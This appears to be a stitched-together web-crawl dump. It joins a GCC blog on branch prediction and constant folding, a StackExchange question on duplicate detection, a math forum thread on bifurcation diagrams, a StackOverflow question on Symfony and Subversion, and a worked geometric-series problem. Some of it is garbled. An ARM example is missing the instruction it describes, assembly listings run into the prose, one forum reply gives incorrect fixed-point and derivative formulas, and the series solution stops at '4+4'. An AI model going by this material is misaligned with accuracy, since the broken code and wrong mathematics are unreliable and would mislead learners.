The first cycle will execute the first addition and the test instruction, and the following cycles will only be able to execute one instruction at a time as all of them depend on the previous instruction. The result is that this needs 5 cycles to execute.2
So the version with conditional moves takes twice the time to execute compared to the version using a branch, which is noticeable in the kind of short loops from single_mult. In addition, pipeline-restrictions on how instructions can be dispatched (such as only one division instruction can be dispatched each cycle) makes it hard for the CPU to schedule long dependency chains efficiently, which may be a problem for more complex code.
1. See “Intel 64 and IA-32 Architectures Optimization Reference Manual” and Agner Fog’s optimization manuals for the details.
2. This assumes that the cmovg instruction is one micro-op. That is true for some CPUs such as Broadwell, while others split it into two micro-ops.
## Wednesday, February 22, 2017
### Branch misprediction is expensive: an example
The SciMark 2.0 Monte Carlo benchmark is calculating $$\pi$$ by generating random points $$\{(x,y) \mid x,y \in [0,1]\}$$ and calculating the ratio of points that are located within the quarter circle $$\sqrt{x^2 + y^2} \le 1$$. The square root can be avoided by squaring both sides, and the benchmark is implemented as
double MonteCarlo_integrate(int Num_samples)
{
Random R = new_Random_seed(SEED);
int under_curve = 0;
for (int count = 0; count < Num_samples; count++)
{
double x = Random_nextDouble(R);
double y = Random_nextDouble(R);
if (x*x + y*y <= 1.0)
under_curve++;
}
Random_delete(R);
return ((double) under_curve / Num_samples) * 4.0;
}
GCC used to generate a conditional move for this if-statement, but a recent change made this generate a normal branch which caused a 30% performance reduction for the benchmark due to the branch being mispredicted (bug 79389).
The randomization function is not inlined as it is compiled in a separate file, and it contains a non-trivial amount of loads, stores, and branches
typedef struct
{
int m[17];
int seed, i, j, haveRange;
double left, right, width;
} Random_struct, *Random;
#define MDIG 32
#define ONE 1
static const int m1 = (ONE << (MDIG-2)) + ((ONE << (MDIG-2)) - ONE);
static const int m2 = ONE << MDIG/2;
static double dm1;
double Random_nextDouble(Random R)
{
int I = R->i;
int J = R->j;
int *m = R->m;
int k = m[I] - m[J];
if (k < 0)
k += m1;
R->m[J] = k;
if (I == 0)
I = 16;
else
I--;
R->i = I;
if (J == 0)
J = 16;
else
J--;
R->j = J;
if (R->haveRange)
return R->left + dm1 * (double) k * R->width;
else
return dm1 * (double) k;
}
so I had expected the two calls to this function to dominate the running time, and that the cost of the branch would not affect the benchmark too much. But I should have known better — x86 CPUs can have more than 100 instructions in flight (192 micro-ops for Broadwell), and a mispredict need to throw away all that work and restart from the actual branch target.
### Branch overhead and branch prediction
The cost of branch instructions differ between different CPU implementations, and the compiler needs to take that into account when optimizing and generating branches.
Simple processors with a 3-stage pipeline fetch the next instruction when previous two instructions are decoded and executed, but branches introduce a problem: the next instruction cannot be fetched before the address is calculated by executing the branch instruction. This makes branches expensive as they introduce bubbles in the pipeline. The cost can be reduced for conditional branches by speculatively fetching and decoding the instructions after the branch — this improves performance if the branch was not taken, but taken branches need to discard the speculated work, and restart from the actual branch target.
Some CPUs have instructions that can execute conditionally depending on a condition, and this can be used to avoid branches. For example
if (c)
a += 3;
else
b -= 2;
can be compiled to the following straight line code on ARM (assuming that a, b, and c are placed in r1, r2, and r0 respectively)
cmp r0, #0
subeq r2, r2, #2
The cmp instruction sets the Z flag in the status register, and the addne instruction is treated as an addition if Z is 0, and as a nop instruction if Z is 1. subeq is similarly treated as a subtraction if Z is 1 and as a nop if Z is 0. The instruction takes time to execute, even when treated as a nop, but this is still much faster than executing branches.
This means that the compiler should structure the generated code so that branches are minimized (using conditional execution when possible), and conditional branches should be generated so that the most common case is not taking the branch.
Taken branches become more expensive as the CPUs get deeper pipelines, and this is especially annoying as loops must branch to the top of the loop for each iteration. This can be solved by adding more hardware to let the fetch unit calculate the target address of the conditional branch, and the taken branch can now be the cheap case.
It is, however, nice to have the “not taken” case be the cheap case, as the alternative often introduce contrived control flow that fragments the instruction cache and need to insert extra “useless” (and expensive) unconditional branches. The way most CPUs solve this is to predict that forward branches are unlikely (and thus speculatively fetch from following instructions), and that backward branches are likely (and thus speculatively fetch from the branch target).
The compiler should do similar work as for the simpler CPU, but structure the code so that conditional branches branching forward are not taken in the common case, and conditional branches branching backward are taken in the common case.
There are many branches that the compiler cannot predict, so the next step up in complexity is adding branch prediction to the CPU. The basic idea is that the CPU keeps a cache of previous branch decisions and use this to predict the current branch. High-end branch predictors look at the history of code flow, and can correctly predict repetitive patterns in how the branch behaved. Hardware vendors do not publish detailed information about how the prediction work, but Agner Fog’s optimization manuals contain lots of information (especially part 3, “The microarchitecture of Intel, AMD and VIA CPUs”, that also have a good overview of different ways branch prediction can be done).
Branch prediction in high-end CPUs is really good, so branches are essentially free, while conditional execution adds extra dependencies between instructions which constrain the out-of-order execution engine, so conditional execution should be avoided. This is essentially the opposite from how the simple CPUs should be handled. 😃
There is one exception — branches that cannot be predicted (such as the one in SciMark) should be generated using conditional instructions, as the branch will incur the misprediction cost of restarting the pipeline each time it is mispredicted.
The compiler should not use conditional execution unless the condition is unpredictable. The code should be structured as for the static prediction (this is not strictly necessary, but most CPUs use the static prediction first time a branch is encountered. And it is also slightly more efficient for the instruction cache).
So branches are free, except when they cannot be predicted. I find it amusing that many algorithms (balanced search trees, etc.) have the aim to make the branches as random as possible. I do not know how much this is a problem in reality, but Clang has a built-in function, __builtin_unpredictable, that can be used to tell the compiler that the condition is unpredictable.
### Heuristics for estimating branch probabilities
The compiler estimates branch probabilities in order to generate the efficient form of the branch (there are more optimizations that need to know if a code segment is likely executed or not, such as inlining and loop unrolling). The general idea, as described in the PLDI ’93 paper “Branch Prediction for Free”, is to look at how the branches are used. For example, code such as
if (p == NULL)
return -1;
comparing a pointer with NULL and returning a constant, is most likely error handling, and thus unlikely to execute the return statement.
GCC has a number of such predictors, for example
• Branch ending with returning a constant is probably not taken.
• Branch from comparison using != is probably taken, == is probably not taken.
• Branch to a basic block calling a cold function is probably not taken.
Each predictor provides a probability (that has been set from branch frequencies observed by instrumenting real world code), and these probabilities are combined for a final result. This is one reason why __builtin_expect often does not make any difference — the heuristics are already coming to the same conclusion!
The predictors are defined in predict.def (some of the definitions seem reversed due to how the rules are implemented, e.g. PROB_VERY_LIKELY may mean “very unlikely”, but the comments describing each heuristic are correct). You can see how GCC is estimating the branch probabilities by passing -fdump-tree-profile_estimate to the compiler, which writes a file containing the output from the predictors for each basic block
Predictions for bb 2
DS theory heuristics: 1.7%
combined heuristics: 1.7%
pointer (on trees) heuristics of edge 2->4: 30.0%
call heuristics of edge 2->3: 33.0%
negative return heuristics of edge 2->4: 2.0%
as well as (when using GCC 7.x) the IR annotated with the estimated probabilities.
## Sunday, January 8, 2017
### GCC code generation for C++ Weekly Ep 43 example
Episode 43 of “C++ Weekly” talks about evaluating and eliminating code at compile time, and the example is fun as it triggers a few different deficiencies in the GCC optimization passes (using the -O3 optimization level with GCC trunk r243987 built for x86_64-linux-gnu).
The example
#include <type_traits>
#include <numeric>
#include <iterator>
template<typename ... T>
int sum(T ... t)
{
std::common_type_t<T...> array[sizeof...(T)]{ t... };
return std::accumulate(std::begin(array), std::end(array), 0);
}
int main()
{
return sum(5,4,3,2,1);
}
is meant to be optimized to return a constant value, and it does
main:
movl $15, %eax ret But the behavior varies a lot depending on how many arguments are passed to sum1–5 arguments work as expected, while calling sum with 6 or 7 arguments is generated as main: movdqa .LC0(%rip), %xmm0 movaps %xmm0, -40(%rsp) movl -32(%rsp), %edx movl -28(%rsp), %eax leal 14(%rdx,%rax), %eax ret where .LC0 is an array consisting of four constants. 9–12 arguments are similar (but with more code). 13–28 arguments are generated as a constant again main: movl$91, %eax
ret
29–64 arguments are optimized to a constant, but with some redundant stack adjustments when the number of arguments is not divisible by four
main:
subq $16, %rsp movl$435, %eax
addq $16, %rsp ret Finally, 65 and more arguments are generated as a vectorized monstrosity in a separate function, called from main by pushing all the arguments to the stack, one at a time main: subq$16, %rsp
movl $60, %r9d movl$61, %r8d
pushq $1 pushq$2
movl $62, %ecx pushq$3
ushq $4 ... This is essentially as far from generating a constant as you can come. 😀 The rest of the blog post will look at how GCC is reasoning when trying to optimize this, by examining GCC's internal representation of the program at different points in the optimization pipeline. The IR works essentially as a restricted version of the C language, and you can get GCC to write the IR to a file after each pass by using the command-line option -fdump-tree-all. #### 1–5 arguments The use of std::accumulate and iterators expand to five functions, and the compiler starts by inlining and simplifying this to int main() () { common_type_t array[5]; int __init; int * __first; int _3; <bb 2> [16.67%]: array[0] = 5; array[1] = 4; array[2] = 3; array[3] = 2; array[4] = 1; <bb 3> [100.00%]: # __first_2 = PHI <&array(2), __first_6(4)> # __init_4 = PHI <0 __init_5> if (&MEM[(void *)&array + 20B] == __first_2) goto <bb 5>; [16.67%] else goto <bb 4>; [83.33%] <bb 4> [83.33%]: _3 = *__first_2; __init_5 = _3 + __init_4; __first_6 = __first_2 + 4; goto <bb 3>; [100.00%] <bb 5> [16.67%]: array ={v} {CLOBBER}; return __init_4; } The loop is immediately unrolled and simplified to int main() () { common_type_t array[5]; int __init; int * __first; int _15; int _20; int _25; int _30; int _35; <bb 2> [16.70%]: array[0] = 5; array[1] = 4; array[2] = 3; array[3] = 2; array[4] = 1; _15 = MEM[(int *)&array]; __init_16 = _15; _20 = MEM[(int *)&array + 4B]; __init_21 = _15 + _20; _25 = MEM[(int *)&array + 8B]; __init_26 = __init_21 + _25; _30 = MEM[(int *)&array + 12B]; __init_31 = __init_26 + _30; _35 = MEM[(int *)&array + 16B]; __init_36 = __init_31 + _35; array ={v} {CLOBBER}; return __init_36; } that is then optimized to a constant by the fre3 (“Full Redundancy Elimination”) pass int main() () { <bb 2> [16.70%]: return 15; } #### 6–12 arguments The early optimizations that handled the previous case are there mostly to get rid of noise before the heavier optimizations (such as loop optimizations) kicks in, and the loop doing 6 iterations is considered too big to be unrolled by the early unroller. The “real” loop optimizers determine that the loop is not iterating enough for vectorization to be profitable, so it is just unrolled. The “SLP vectorizer” that vectorizes straight line code is run right after the loop optimizations, and it sees that we are copying constants into consecutive addresses, so it combines four of them to a vector assignment MEM[(int *)&array] = { 6, 5, 4, 3 }; array[4] = 2; array[5] = 1; This is now simplified by the dom3 pass that does SSA dominator optimizations (jump threading, redundancy elimination, and const/copy propagation), but it does not understand that a scalar initialized by a constant vector is a constant, so it only propagates the constants for array[4] and array[5] that were initialized as scalars, and the code passed to the backend looks like int main() () { common_type_t array[6]; int __init; int _15; int _22; int _27; int _32; <bb 2> [14.31%]: MEM[(int *)&array] = { 6, 5, 4, 3 }; _15 = MEM[(int *)&array]; _22 = MEM[(int *)&array + 4B]; __init_23 = _15 + _22; _27 = MEM[(int *)&array + 8B]; __init_28 = __init_23 + _27; _32 = MEM[(int *)&array + 12B]; __init_33 = __init_28 + _32; __init_43 = __init_33 + 3; array ={v} {CLOBBER}; return __init_43; } #### 13–28 arguments The loop is now iterated enough times that the compiler determines that vectorization is profitable. The idea behind the vectorization is to end up with something like tmp = { array[0], array[1], array[2], array[3] } + { array[4], array[5], array[6], array[7] } + { array[8], array[9], array[10], array[11] }; sum = tmp[0] + tmp[1] + tmp[2] + tmp[3] + array[12]; and the vectorizer generates two loops — one that consumes four elements at a time as long as possible, and one that consumes the remaining elements one at a time. The rest of the loop optimizers know how many times the loops are iterating, so the loops can then be unrolled etc. as appropriate. The vectorizer is, unfortunately, generating somewhat strange code for the checks that there are enough elements _35 = (unsigned long) &MEM[(void *)&array + 52B]; _36 = &array + 4; _37 = (unsigned long) _36; _38 = _35 - _37; _39 = _38 /[ex] 4; _40 = _39 & 4611686018427387903; if (_40 <= 4) goto ; [10.00%] else goto ; [90.00%] that confuse the rest of the loop optimizations, with the result that the IR contains lots of conditional code of this form. This is not the first time I have seen GCC having problems with the pointer arithmetics from iterators (see bug 78847), and I believe this is the same problem (as the bitwise and should be optimized away when the pointer arithmetics has been evaluated to a constant). The subsequent passes mostly manage to clean up these conditionals, and dom3 optimizes the vector operations to a constant. But it does not understand the expression used to decide how many scalar elements need to be handled if the iteration count is not a multiple of four (that check is eliminated by the value range propagation pass after dom3 is run), so the scalar additions are kept in the code given to the backend int main() () { common_type_t array[13]; int __init; int _23; [7.14%]: array[12] = 1; _23 = MEM[(int *)&array + 48B]; __init_3 = _23 + 90; array ={v} {CLOBBER}; return __init_3; } This is, however, not much of a problem for this program, as the backend manages to optimize this to main: movl$91, %eax
ret
when generating the code.
#### 29–64 arguments
The backend eliminates the memory accesses to the array in the previous case, but the array seems to be kept on the stack. That makes sense — the code is supposed to be optimized before being passed to the backend, so the backend should not be able to eliminate variables, and there is no need to implement code doing this.
Leaf functions do not need to adjust the stack, but GCC does some stack adjustment on leaf functions too when more than 112 bytes are placed on the stack. You can see this for the meaningless function
void foo()
{
volatile char a[113];
a[0] = 0;
}
where the stack is adjusted when the array size is larger than 112.
foo:
subq $16, %rsp movb$0, -120(%rsp)
Anyway, passing 29 arguments to sum makes the array large enough that GCC adds the stack adjustments.
The sequence of assignments initializing the array is now large enough that sum is not inlined into main. | 2017-07-25 04:47:24 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.31936410069465637, "perplexity": 2824.290270587154}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-30/segments/1500549424961.59/warc/CC-MAIN-20170725042318-20170725062318-00129.warc.gz"} |
https://cs.stackexchange.com/questions/112166/is-there-a-linear-time-algorithm-to-determine-if-an-array-has-duplicate-entries?noredirect=1 | # Is there a linear-time algorithm to determine if an array has duplicate entries that uses only constant extra space?
Determining whether or not an array has duplicate entries has two straightforward solutions:
• Build a hashset of entries, then search for elements in this hashset. This takes $$\mathcal O(n)$$ time and $$\mathcal O(n)$$ extra space.
• Sort the array, then search for consecutive elements that are the same. This takes $$\mathcal O(n \log n)$$ time and $$\mathcal O(1)$$ extra space.
Is there an algorithm that can solve this problem with the best of both approaches, using only $$\mathcal O(n)$$ time and $$\mathcal O(1)$$ extra space?
Question Finding duplicate in immutable array in linear time and constant space is similar, but the solution to that question only works when the values come from the set $$\{1, ..., n\}$$; my values are large integers. Also unlike that question, I allow the input array to be modified and used as a workspace.
One strategy might be to attempt to turn the array into a kind of hashtable. However, this seems like it won't work because of the lack of empty space (which makes both moving objects into place hard, as well as getting $$\mathcal O(1)$$ queries.).
However, I suspect that this cannot actually be done, but I'm not sure how to go about proving it.
• The hashset method takes $\Theta(\log n)$ time. Hash table operations have $\log n$ cost, even if the constant is low in practice and they're often approximated as $O(1)$. – Gilles 'SO- stop being evil' Jul 25 '19 at 6:24
• You can radix-sort array in place using MSD sort – Bulat Jul 25 '19 at 6:35
• And if you need fast practical approach, look at cs.stackexchange.com/questions/93563/… – Bulat Jul 25 '19 at 6:38
• @Bulat A radix sort is still a sort, and takes $\log n$ time in the worst case. A radix sort can take $O(1)$ time if the elements are small integers (with a bound that doesn't depend on the array size), but the question explicitly rules this out (“my values are large integers”). – Gilles 'SO- stop being evil' Jul 25 '19 at 6:43
• This "log n" is actually a log of value range. It's up to you how to count it, but at least I find your measurement non-standard and deletion of my answer unreasonable. If you don't agree with Wikipedia, use comments rather than moderation tools to promote your opinion – Bulat Jul 25 '19 at 6:50
Suppose that your elements come from a domain of size $$n^2$$. Any algorithm using time $$T$$ and space $$S$$ corresponds to a branching program having depth $$T$$ and containing at most $$T \cdot 2^S$$ nodes. Theorem 6.13 of Time-space tradeoff lower bounds for randomized computation of decision problems shows that $$T = \Omega\left(n \sqrt{\log \tfrac{n}{S + \log T}/\log\log \tfrac{n}{S + \log T}}\right).$$ In particular, if $$S$$ is $$O(\log n)$$ (which corresponds to your $$O(1)$$ extra space, assuming you cannot modify the input) then $$T = \Omega(n\sqrt{\log n/\log\log n})$$.
• In the branching program model, querying an element is an atomic operation. It's an $n^2$-way branching program. – Yuval Filmus Jul 25 '19 at 8:25 | 2020-01-25 15:35:08 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 18, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.49435296654701233, "perplexity": 555.6652880113065}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-05/segments/1579251672537.90/warc/CC-MAIN-20200125131641-20200125160641-00422.warc.gz"} |
http://mathhelpforum.com/advanced-math-topics/132957-chaos-theory-bifurcation-diagram.html | # Math Help - Chaos theory: bifurcation diagram
1. ## Chaos theory: bifurcation diagram
Hi, I have this problem.
I need to sketch a bifurcation diagram for the fixed points of the family $\mu \rightarrow f_\mu$ where $f_\mu= \mu x^2(1-x)$.
I have that the fixed points are $x=0$ and $x=\frac{1\pm\sqrt{1-\frac{4}{\mu}}}{2}$
I know that:
When $\mu < 4$ $f_\mu$ drops below the identity mapping and so there is only one fixed point at $x=0$
When $\mu =4$ the identity mapping is tangent to $f_\mu$ and so there are 2 fixed points at $x=0$and $x= 0.5$
When $\mu > 4$ $f_\mu$ rises above the identity mapping and so there are 3 one fixed points at x=0 and $x=\frac{1\pm\sqrt{1 - \frac{4}{\mu}}}{2}$
So i can sort of picture how the diagram will look, I just can't figure out for what values of $\mu$ the fixed points $x=\frac{1\pm\sqrt{1 - \frac{4}{\mu}}}{2}$ will be repelling/attracting.
I know that $f'_\mu(x) = 3-\frac{\mu}{2}\pm\frac{\sqrt{\mu^2 - 4\mu} }{2}$ at the last two fixed points. And that if $|f'_\mu(x)|<1$ then fixed point is an attractor and if $|f'_\mu(x)|>1$ then fixed point is a repellor. But i'm stuck here.
Katy
2. hi !
Using the fixed point x=0 and $
f^{\prime}=2\mu x - 3\mu x^2]$
x=0 is a atracting fixed point , cause $
|f^{\prime}| <1$
.
for the other fixed point $x_{2}= \frac{1+\sqrt{1-4\mu}}{2}$
evaluating , you get $
f^{\prime}(x_{2})=\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}$
in case you want to know the values for $\mu$ so that $x_{2}$ is an atracting fixed point you have to solve the inequality
$|\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}|<1$
and for a repelling fixed point solve:
$|\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}|>1$
to sketch the bifurcation, in the x -axis you plot $\mu$ and in the y-axis put the fixed points.
locate the coordinates $(\mu,1)=(\frac{1}{4},1)$, and the use the results of the inequalities to draw the behaviour your are looking for.!
Originally Posted by harkapobi
Hi, I have this problem.
I need to sketch a bifurcation diagram for the fixed points of the family $\mu \rightarrow f_\mu$ where $f_\mu= \mu x^2(1-x)$.
I have that the fixed points are $x=0$ and $x=\frac{1\pm\sqrt{1-\frac{4}{\mu}}}{2}$
I know that:
When $\mu < 4$ $f_\mu$ drops below the identity mapping and so there is only one fixed point at $x=0$
When $\mu =4$ the identity mapping is tangent to $f_\mu$ and so there are 2 fixed points at $x=0$and $x= 0.5$
When $\mu > 4$ $f_\mu$ rises above the identity mapping and so there are 3 one fixed points at x=0 and $x=\frac{1\pm\sqrt{1 - \frac{4}{\mu}}}{2}$
So i can sort of picture how the diagram will look, I just can't figure out for what values of $\mu$ the fixed points $x=\frac{1\pm\sqrt{1 - \frac{4}{\mu}}}{2}$ will be repelling/attracting.
I know that $f'_\mu(x) = 3-\frac{\mu}{2}\pm\frac{\sqrt{\mu^2 - 4\mu} }{2}$ at the last two fixed points. And that if $|f'_\mu(x)|<1$ then fixed point is an attractor and if $|f'_\mu(x)|>1$ then fixed point is a repellor. But i'm stuck here.
Katy
3. Originally Posted by Sofia
hi !
Using the fixed point x=0 and $f^{\prime}=2\mu x - 3\mu x^2$
x=0 is a atracting fixed point , cause $|f^{\prime}| <1$.
for the other fixed point $x_{2}= \frac{1+\sqrt{1-4\mu}}{2}$
evaluating , you get $f^{\prime}(x_{2})=\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}$
in case you want to know the values for $\mu$ so that $x_{2}$ is an atracting fixed point you have to solve the inequality
$|\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}|<1$
and for a repelling fixed point solve:
$|\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}|>1$
to sketch the bifurcation, in the x -axis you plot $\mu$ and in the y-axis put the fixed points.
locate the coordinates $(\mu,1)=(\frac{1}{4},1)$, and the use the results of the inequalities to draw the behaviour your are looking for.!
Use
4. Originally Posted by Sofia
hi !
Using the fixed point x=0 and $
f^{\prime}=2\mu x - 3\mu x^2]$
x=0 is a atracting fixed point , cause $
|f^{\prime}| <1$
.
for the other fixed point $x_{2}= \frac{1+\sqrt{1-4\mu}}{2}$
evaluating , you get $
f^{\prime}(x_{2})=\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}$
in case you want to know the values for $\mu$ so that $x_{2}$ is an atracting fixed point you have to solve the inequality
$|\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}|<1$
and for a repelling fixed point solve:
$|\frac{6\mu^2-\mu\sqrt{1-4\mu}+\mu}{2}|>1$
to sketch the bifurcation, in the x -axis you plot $\mu$ and in the y-axis put the fixed points.
locate the coordinates $(\mu,1)=(\frac{1}{4},1)$, and the use the results of the inequalities to draw the behaviour your are looking for.!
Hi, thanks for your help. Those inequalities are the parts i'm struggling with. I just can't solve them. Any clues on how I can do this?
Thanks
5. Well, you could just plot it, see what's up, then run a Solve in Mathematica on it:
Code:
Plot[(6*m^2 - m*Sqrt[1 - 4*m] + m)/2, {m, -1, 1}]
Solve[(6*m^2 - m*Sqrt[1 - 4*m] + m)/2 == 1, m] | 2015-07-04 07:17:20 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 58, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8901399970054626, "perplexity": 331.57164003204815}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-27/segments/1435375096579.52/warc/CC-MAIN-20150627031816-00306-ip-10-179-60-89.ec2.internal.warc.gz"} |
http://stackoverflow.com/questions/14648572/problems-with-symfony-2-console-task-assetsinstall-and-subversion | # Problems with Symfony 2 Console task “assets:install” and Subversion
I'm currently developing a bundle with Symfony 2. Because I'm using windows, I have to use the command: php app/console assets:install web for getting hard copies of my JS and CSS Files into the web folder.
But everytime I do that, it has Problems with my Suberversion which leads in an IOException
[Symfony\COmponent\Filesystem\Exception\IOException]
Failed to remove file web/bundles/framework\images\.svn\text-base\open_quote.gif.svn-base
I did google after Problems with SVN and Symfony but only found this which is not really helping me.
The only way i can use the described command now is deleting the old folders, check in changes, run command, check in again. This isn't the way I want to do this. Is there any other solution?
-
You should svn:ignore web/bundles – sglessard Feb 1 '13 at 16:58
this would be a working solution, but i have to check in the generated files! After testing i check them in and they will be checked out on different servers where I am unable to run the asset:install command. – Neysor Feb 1 '13 at 23:17
## 1 Answer
First problem: you are using old version which creates .svn folder inside each of your folders. Really annoying but easily solvable by simple upgrade. I use tortoise svn which creates only one .svn folder in root of project, just like git.
As I don't know shell commands for svn, you can simply right-click on web/bundles folder (or even on web) and you will get context menu with "Tortoise SVN->ignore on commit" option. After that, manually delete all files from that folder and your problem is solved.
Yep... I had the same problem and solved it this way.
UPDATE:
I just saw you need them to be checked. For that, just use an upgrade and you will not have hidden .svn folders anymore.
-
Upgrade Client or Server? If i have to upgrade the server version of SVN, then it is imposible for me to do that (no permission). If it is my client version: I'm using eclipse with subversive in the newest version. I would prefere an eclipse ide solution if this is possible – Neysor Feb 2 '13 at 17:33
Eclipse has nothing to do with svn. IF you RMB over your folder using total commander or any other program, you will always get svn options. Any half-decent svn server company already use new version. Talk to them how to upgrade existing repository or even simpler; create new one. – Zeljko Feb 2 '13 at 23:00
+1 for your help, but i really have no chance to upgrade subversion. This isn't a public subversion host, it is my company and I have no chance to force the IT Department to upgrade... I thought there is a solution without svn:ignore or upgrade SVN... – Neysor Feb 3 '13 at 12:09
because it seems to be the only solution that works, i will mark this as solution. Thanks for your help – Neysor Mar 11 '13 at 11:36 | 2014-12-20 12:31:18 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5266579985618591, "perplexity": 2690.4490110786924}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-52/segments/1418802769844.62/warc/CC-MAIN-20141217075249-00137-ip-10-231-17-201.ec2.internal.warc.gz"} |
https://plainmath.net/4222/determine-whether-convergent-divergent-explain-convergent-inftyfrac | # Determine whether the given series is convergent or divergent. Explain your answer. If the series is convergent, find its sum. sum_{n=0}^inftyfrac{3^n+2^{n+1}}{4^n}
Series
Determine whether the given series is convergent or divergent. Explain your answer. If the series is convergent, find its sum.
$$\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}$$
2020-10-26
Given the series:
$$\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}$$
Rewriting the given series as sum of two series:
$$\Rightarrow\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}=\sum_{n=0}^\infty\left(\frac{3^n}{4^n}+\frac{2^{n+1}}{4^n}\right)$$
$$\Rightarrow\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}=\sum_{n=0}^\infty\frac{3^n}{4^n}+\sum_{n=0}^\infty\frac{2^{n+1}}{4^n}$$
$$\Rightarrow\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}=\sum_{n=0}^\infty(\frac{3}{4})^n+\sum_{n=0}^\infty\frac{2\cdot2^n}{4^n}$$
$$\Rightarrow\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}=\sum_{n=0}^\infty(\frac{3}{4})^n+\sum_{n=0}^\infty2(\frac{2}{4})^n$$
$$\Rightarrow\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}=\sum_{n=0}^\infty(\frac{3}{4})^n+\sum_{n=0}^\infty2(\frac{1}{2})^n$$
Hence we get sum of two geometric series:
$$r_1=\frac34$$
$$r_2=\frac12$$
Since both $$|r_1|<1,|r_2|<1$$
Both the individual geometric series converge.
The given series is sum of two converging, hence the given series $$\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}$$ converges.
The sum of an infinite geometric series is given as:
$$S=\frac{\text{1st Term}}{1-r}$$
The sum of the series will be:
$$\sum_{n=0}^\infty(\frac34)^n=\frac{1}{1-\frac34}$$
$$\Rightarrow\sum_{n=0}^\infty(\frac34)^n=\frac{1}{\frac14}=4$$
$$\sum_{n=0}^\infty2(\frac12)^n=\frac{2}{\frac12}=4$$
The sum of the given series will be:
$$\sum_{n=0}^\infty\frac{3^n+2^{n+1}}{4^n}=4+4$$
